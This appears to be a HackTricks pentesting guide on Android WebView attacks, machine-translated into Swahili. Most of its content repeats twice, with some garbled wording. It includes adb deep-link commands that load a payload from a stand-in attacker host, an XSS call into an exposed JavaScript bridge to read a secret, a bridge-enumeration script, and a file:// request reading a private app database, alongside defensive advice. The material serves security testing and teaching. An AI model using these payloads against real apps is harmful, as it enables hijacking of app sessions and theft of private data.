Webview Attacks
Reading time: 14 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mwongozo wa Mipangilio na Usalama wa WebView
Muhtasari wa Uhalifu wa WebView
Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia WebViews kwa usahihi. Mwongo huu unasisitiza mipangilio muhimu na mbinu za usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.
Upatikanaji wa Faili katika WebViews
Kwa kawaida, WebViews zinaruhusu upatikanaji wa faili. Kazi hii inasimamiwa na njia ya setAllowFileAccess()
, inayopatikana tangu kiwango cha API ya Android 3 (Cupcake 1.5). Programu zenye ruhusa ya android.permission.READ_EXTERNAL_STORAGE zinaweza kusoma faili kutoka kwa hifadhi ya nje kwa kutumia mpango wa URL wa faili (file://path/to/file
).
Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kijumla na Upatikanaji wa Faili Kutoka kwa URLs
- Upatikanaji wa Kijumla Kutoka kwa URLs za Faili: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi ya kuvuka mipaka kutoka kwa URLs za faili, na kuleta hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya kawaida imezimwa (
false
) kwa programu zinazolenga Android Jelly Bean na mpya. - Ili kuangalia mipangilio hii, tumia
getAllowUniversalAccessFromFileURLs()
. - Ili kubadilisha mipangilio hii, tumia
setAllowUniversalAccessFromFileURLs(boolean)
. - Upatikanaji wa Faili Kutoka kwa URLs za Faili: Kipengele hiki, pia kilichopitwa na wakati, kilisimamia upatikanaji wa maudhui kutoka kwa URLs zingine za mpango wa faili. Kama upatikanaji wa kijumla, mipangilio yake ya kawaida imezimwa kwa usalama zaidi.
- Tumia
getAllowFileAccessFromFileURLs()
kuangalia nasetAllowFileAccessFromFileURLs(boolean)
kuweka.
Kuhifadhi Faili kwa Usalama
Ili kuzima upatikanaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya setAllowFileAccess()
inatumika. Pamoja na Android R na zaidi, mipangilio ya kawaida ni false
.
- Angalia kwa
getAllowFileAccess()
. - Wezesha au zima kwa
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Darasa la WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Linatumia http(s) URLs kwa kupata mali na rasilimali za ndani, likikubaliana na sera ya Same-Origin, hivyo kurahisisha usimamizi wa CORS.
loadUrl
Hii ni kazi ya kawaida inayotumika kupakia URLs zisizo na mpangilio katika webview:
webview.loadUrl("<url here>")
Ofc, mshambuliaji wa uwezekano haipaswi kamwe kuwa na uwezo wa kudhibiti URL ambayo programu itakuwa inaload.
JavaScript na Usimamizi wa Mpango wa Intent
- JavaScript: Imezuiliwa kwa default katika WebViews, inaweza kuwezeshwa kupitia
setJavaScriptEnabled()
. Tahadhari inashauriwa kwani kuwezesha JavaScript bila hatua sahihi za usalama kunaweza kuleta udhaifu wa usalama. - Mpango wa Intent: WebViews zinaweza kushughulikia mpango wa
intent
, ambayo inaweza kusababisha mashambulizi ikiwa haitasimamiwa kwa makini. Mfano wa udhaifu ulijumuisha parameter ya WebView iliyo wazi "support_url" ambayo inaweza kutumika kutekeleza mashambulizi ya cross-site scripting (XSS).
Mfano wa unyakuzi ukitumia adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Kipengele kinatolewa na Android ambacho kinamwezesha JavaScript katika WebView kuita mifumo ya programu za asili za Android. Hii inapatikana kwa kutumia njia ya addJavascriptInterface
, ambayo inachanganya JavaScript na kazi za asili za Android, inayoitwa WebView JavaScript bridge. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kufikia kitu cha JavaScript Interface kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti zitafichuliwa kupitia interfaces hizi.
- Tahadhari kubwa inahitajika kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa msimbo wa mbali kupitia JavaScript mbaya, ikitumia reflection.
Implementing a JavaScript Bridge
- JavaScript interfaces zinaweza kuingiliana na msimbo wa asili, kama inavyoonyeshwa katika mifano ambapo njia ya darasa inafichuliwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge imewezeshwa kwa kuongeza interface kwenye WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Uwezekano wa kutumia kupitia JavaScript, kwa mfano, kupitia shambulio la XSS, unaruhusu kuita mbinu za Java zilizofichuliwa:
<script>
alert(javascriptBridge.getSecret())
</script>
- Ili kupunguza hatari, punguza matumizi ya daraja la JavaScript kwa msimbo uliotumwa na APK na kuzuia upakiaji wa JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.
Utekelezaji wa Msimbo wa K remote kwa Kutumia Reflection (RCE)
- Njia iliyoandikwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation ya
@JavascriptInterface
inazuia ufikiaji wa njia zisizoidhinishwa, ikipunguza uso wa shambulio.
Urekebishaji wa Mbali
- Urekebishaji wa mbali un posible na Chrome Developer Tools, ukiruhusu mwingiliano na utekelezaji wa JavaScript bila mipaka ndani ya maudhui ya WebView.
Kuwezesha Urekebishaji wa Mbali
- Urekebishaji wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Kuwawezesha ufuatiliaji kwa masharti kulingana na hali ya ufuatiliaji ya programu:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate arbitrary files
- Inaonyesha uhamasishaji wa faili zisizo na mpangilio kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia WebViews kwa usahihi. Mwongo huu unasisitiza mipangilio muhimu na mbinu za usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.
File Access in WebViews
Kwa kawaida, WebViews zinaruhusu ufikiaji wa faili. Kazi hii inasimamiwa na njia ya setAllowFileAccess()
, inayopatikana tangu kiwango cha API ya Android 3 (Cupcake 1.5). Programu zenye ruhusa ya android.permission.READ_EXTERNAL_STORAGE zinaweza kusoma faili kutoka kwa hifadhi ya nje kwa kutumia mpango wa URL wa faili (file://path/to/file
).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Kipengele hiki kilichotolewa ruhusa kwa maombi ya cross-origin kutoka kwa URL za faili, na kuleta hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya kawaida imezimwa (
false
) kwa programu zinazolenga Android Jelly Bean na mpya. - Ili kuangalia mipangilio hii, tumia
getAllowUniversalAccessFromFileURLs()
. - Ili kubadilisha mipangilio hii, tumia
setAllowUniversalAccessFromFileURLs(boolean)
. - File Access From File URLs: Kipengele hiki, pia kilichotolewa, kilisimamia ufikiaji wa maudhui kutoka kwa URL za mpango wa faili nyingine. Kama ufikiaji wa ulimwengu, mipangilio yake ya kawaida imezimwa kwa usalama zaidi.
- Tumia
getAllowFileAccessFromFileURLs()
kuangalia nasetAllowFileAccessFromFileURLs(boolean)
kuweka.
Secure File Loading
Ili kuzima ufikiaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya setAllowFileAccess()
inatumika. Pamoja na Android R na zaidi, mipangilio ya kawaida ni false
.
- Angalia kwa
getAllowFileAccess()
. - Wezesha au zima kwa
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Darasa la WebViewAssetLoader ni njia ya kisasa ya kupakia faili za ndani. Linatumia URL za http(s) kwa ajili ya kufikia mali na rasilimali za ndani, likikubaliana na sera ya Same-Origin, hivyo kurahisisha usimamizi wa CORS.
loadUrl
Hii ni kazi ya kawaida inayotumika kupakia URL zisizo na mpangilio katika webview:
webview.loadUrl("<url here>")
Ofc, mshambuliaji mwenye uwezo haipaswi kamwe kuwa na uwezo wa kudhibiti URL ambayo programu itakuwa inaload.
Deep-linking katika WebView ya ndani (mpango maalum → WebView sink)
Mifumo mingi inasajili mipango/nyimbo maalum ambayo inaelekeza URL iliyotolewa na mtumiaji ndani ya WebView ya ndani ya programu. Ikiwa kiungo cha ndani kimepelekwa (VIEW + BROWSABLE), mshambuliaji anaweza kulazimisha programu kuonyesha maudhui ya mbali yasiyo na mipaka ndani ya muktadha wa WebView yake.
Mfano wa kawaida wa hati (uliopunguzika):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Mchakato wa kawaida wa msimbo (uliopunguzia):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Mwelekeo wa shambulio na PoC kupitia adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: ukurasa wa mbali unakimbia katika muktadha wa WebView wa programu (cookies/sessio ya profaili ya WebView ya programu, ufikiaji wa @JavascriptInterface yoyote iliyofichuliwa, ufikiaji wa content:// na file:// kulingana na mipangilio).
Hunting tips:
- Grep vyanzo vilivyotolewa kwa
getQueryParameter("url")
,loadUrl(
, vyanzo vyaWebView
, na waendeshaji wa deep-link (onCreate/onNewIntent
). - Kagua manifest kwa ajili ya VIEW+BROWSABLE filters na mipango/hosts maalum ambayo yanahusiana na shughuli ambazo baadaye zinaanzisha WebView.
- Angalia kama kuna njia nyingi za deep-link (mfano, njia ya “browza ya nje” dhidi ya njia ya “webview ya ndani”) na upendeleo ile inayowekwa ndani ya programu.
Kuanzisha JavaScript kabla ya uthibitisho (bug ya mpangilio wa ukaguzi)
Kosa la kawaida la kuimarisha ni kuanzisha JavaScript au kuunda mipangilio ya WebView iliyolegezwa kabla ya orodha ya mwisho/uthibitisho wa URL ya lengo kukamilika. Ikiwa uthibitisho hauko sawa kati ya wasaidizi au unafanyika kwa kuchelewa, kiashiria cha shambulio kinaweza kufikia hali ambapo:
- Mipangilio ya WebView inatumika (mfano,
setJavaScriptEnabled(true)
), na - URL isiyoaminika inaloadiwa ikiwa JavaScript imewezeshwa.
Bug pattern (pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Kwa nini inapatikana
- Kurekebisha kwa njia isiyo sawa: wasaidizi wanakata/rejenga URL tofauti na ukaguzi wa mwisho, wakisababisha kutofautiana ambayo URL mbaya inaweza kutumia.
- Mchakato usio na mpangilio: kuwezesha JS katika hatua ya 2 kunatumika kwa ujumla kwa mfano wa WebView, ikihusisha mzigo wa mwisho hata kama uthibitisho baadaye ungeweza kushindwa.
Jinsi ya kupima
- Tengeneza payloads za deep-link ambazo zinapita ukaguzi wa mapema na kufikia tovuti ya usanidi ya WebView.
- Tumia adb kutuma nia za VIEW zisizo za moja kwa moja zinazotoa parameter
url=
inayodhibitiwa na wewe:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Ikiwa unyakuzi unafanikiwa, payload yako inatekeleza JavaScript katika WebView ya programu. Kutoka hapo, chunguza madaraja yaliyo wazi:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Defensive guidance
- Canonicalize mara moja; thibitisha kwa ukali dhidi ya chanzo kimoja cha ukweli (mpango/jeshi/ufikiaji/uchunguzi).
- Itumie tu
setJavaScriptEnabled(true)
baada ya ukaguzi wote wa orodha ya ruhusa kupita na kabla ya kupakia maudhui ya kuaminika. - Epuka kufichua
@JavascriptInterface
kwa asili zisizoaminika; pendelea udhibiti wa kila asili. - Fikiria kuhusu matukio ya kila WebView kwa maudhui ya kuaminika dhidi ya yasiyoaminika, huku JS ikiwa imezimwa kwa chaguo-msingi.
JavaScript na Usimamizi wa Mpango wa Intent
- JavaScript: Imezimwa kwa chaguo-msingi katika WebViews, inaweza kuwezeshwa kupitia
setJavaScriptEnabled()
. Tahadhari inashauriwa kwani kuwezesha JavaScript bila kinga sahihi kunaweza kuleta udhaifu wa usalama. - Mpango wa Intent: WebViews zinaweza kushughulikia mpango wa
intent
, ambayo inaweza kusababisha matumizi mabaya ikiwa haitasimamiwa kwa makini. Mfano wa udhaifu ulijumuisha parameter ya WebView iliyo wazi "support_url" ambayo inaweza kutumika kutekeleza mashambulizi ya cross-site scripting (XSS).
Mfano wa matumizi mabaya ukitumia adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Kipengele kinatolewa na Android ambacho kinamwezesha JavaScript katika WebView kuita mifumo ya programu asilia ya Android. Hii inapatikana kwa kutumia njia ya addJavascriptInterface
, ambayo inachanganya JavaScript na kazi za asili za Android, inayoitwa WebView JavaScript bridge. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kufikia kitu cha JavaScript Interface kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti zitafichuliwa kupitia interfaces hizi.
- Tahadhari kubwa inahitajika kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa msimbo wa mbali kupitia JavaScript mbaya, ikitumia reflection.
Implementing a JavaScript Bridge
- JavaScript interfaces zinaweza kuingiliana na msimbo wa asili, kama inavyoonyeshwa katika mifano ambapo njia ya darasa inafichuliwa kwa JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge imewezeshwa kwa kuongeza kiunganishi kwenye WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Uwezekano wa kutumia vibaya kupitia JavaScript, kwa mfano, kupitia shambulio la XSS, unaruhusu kuita mbinu za Java zilizofichuliwa:
<script>
alert(javascriptBridge.getSecret())
</script>
- Ili kupunguza hatari, punguza matumizi ya daraja la JavaScript kwa msimbo uliotumwa na APK na kuzuia upakiaji wa JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.
Utekelezaji wa Msimbo wa K remote kwa Kutumia Reflection (RCE)
- Njia iliyorekodiwa inaruhusu kufikia RCE kupitia reflection kwa kutekeleza payload maalum. Hata hivyo, annotation ya
@JavascriptInterface
inazuia ufikiaji wa njia zisizoidhinishwa, ikipunguza uso wa shambulio.
Urekebishaji wa Mbali
- Urekebishaji wa mbali un posible na Chrome Developer Tools, ukiruhusu mwingiliano na utekelezaji wa JavaScript bila mipaka ndani ya maudhui ya WebView.
Kuwezesha Urekebishaji wa Mbali
- Urekebishaji wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Kuwawezesha ufuatiliaji kwa masharti kulingana na hali ya ufuatiliaji ya programu:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate arbitrary files
- Inaonyesha uhamasishaji wa faili zisizo na mpangilio kwa kutumia XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Marejeo
- Mapitio ya mashambulizi ya ufikiaji wa faili za Android WebViews
- WheresMyBrowser.Android (programu ya kuonyesha)
- Marejeo ya Android WebView
- Deep Links & WebViews Exploitations – Sehemu ya II
- Deep Links & WebViews Exploitations – Sehemu ya I
- Samsung S24 Exploit Chain Pwn2Own 2024 Mwongozo
- Pwn2Own Ireland 2024 – mnyororo wa shambulio la Samsung S24 (karatasi ya nyeupe)
- Video ya kuonyesha
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.